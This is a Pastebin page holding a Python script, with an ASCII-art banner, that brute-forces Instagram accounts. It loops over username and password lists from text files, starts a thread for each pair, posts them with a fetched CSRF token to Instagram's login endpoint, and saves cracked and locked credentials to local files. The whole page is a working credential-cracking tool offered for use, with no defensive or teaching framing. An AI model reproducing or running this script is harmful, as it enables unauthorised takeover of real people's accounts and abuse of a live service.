Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests as Brut
- from threading import Thread
- import os
- def cls():
- os.system('cls' if os.name=='nt' else 'clear')
- cls()
- # End Clear
- # Start Logo
- def logo():
- text = '''
- ──────────────────────────────────────────────
- ─████████████──────────────────██████████████─
- ─██░░░░░░░░████────────────────██░░░░░░░░░░██─
- ─██░░████░░░░██────────────────██░░██████████─
- ─██░░██──██░░██────────────────██░░██─────────
- ─██░░██──██░░██─██████████████─██░░██████████─
- ─██░░██──██░░██─░jQuery█─Coded░─██░░░░░░░░░░██─
- ─██░░██──██░░██─██████████████─██░░██████████─
- ─██░░██──██░░██────────────────██░░██─────────
- ─██░░████░░░░██────────────────██░░██─────────
- ─██░░░░░░░░████────────────────██░░██─────────
- ─████████████──────────────────██████─────────
- ──────────────────────────────────────────────
- '''
- return text
- # End Logo
- print(logo())
- def Login(url, user, password):
- ses = Brut.Session()
- op = url
- ses.get(op)
- token = ses.cookies['csrftoken']
- ses.headers = {
- "Host": "www.instagram.com",
- "User-Agent": "Mozilla/5.0(Windows NT 6.3;WOW64;rv:46.0)Gecko/20100101Firefox/46.0",
- "Accept": "*/*",
- "Accept-Language": "en-US,en;q=0.5",
- "X-Instagram-AJAX": "1",
- "X-CSRFToken": token,
- "X-Requested-With": "XMLHttpRequest",
- "Referer": "https://www.instagram.com/accounts/login/"
- }
- logindata = dict(csrfmiddlewaretoken=token, username=user, password=password)
- a = ses.post("https://www.instagram.com/accounts/login/ajax/", data=logindata)
- if ('"authenticated": false' in str(a.text)):
- print("[-]{} {}".format(user, password))
- #print(a.text)
- elif ("true" in str(a.text)):
- print("\a[+]Cracked ({})=> {}".format(user, password))
- ff = open('trueinstagram.txt', 'a+')
- ff.write("{} : {}\n".format(user, password))
- elif('"lock": false' in str(a.text)):
- print("[+]\a {}:{} Verify Your Account".format(user, password))
- v = open('lock.txt', 'a+')
- v.write("{} : {}\n".format(user, password))
- else:
- print("\a[+]({})=> {}".format(user, password))
- print(a.text)
- f = open('sorry.txt', 'a+')
- f.write("{} : {}\n".format(user, password))
- #End Function Login
- thrdlst = []
- print("#" * 70)
- i = 5
- pwd = open("passtest.txt","r").read().split('\n')
- user = open("usertest.txt","r").read().split('\n')
- for users in user:
- for password in pwd:
- t = Thread(target=Login, args=("https://www.instagram.com/accounts/login/ajax/", str(users), password))
- t.start()
- thrdlst.append(t)
- for b in thrdlst:
- b.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement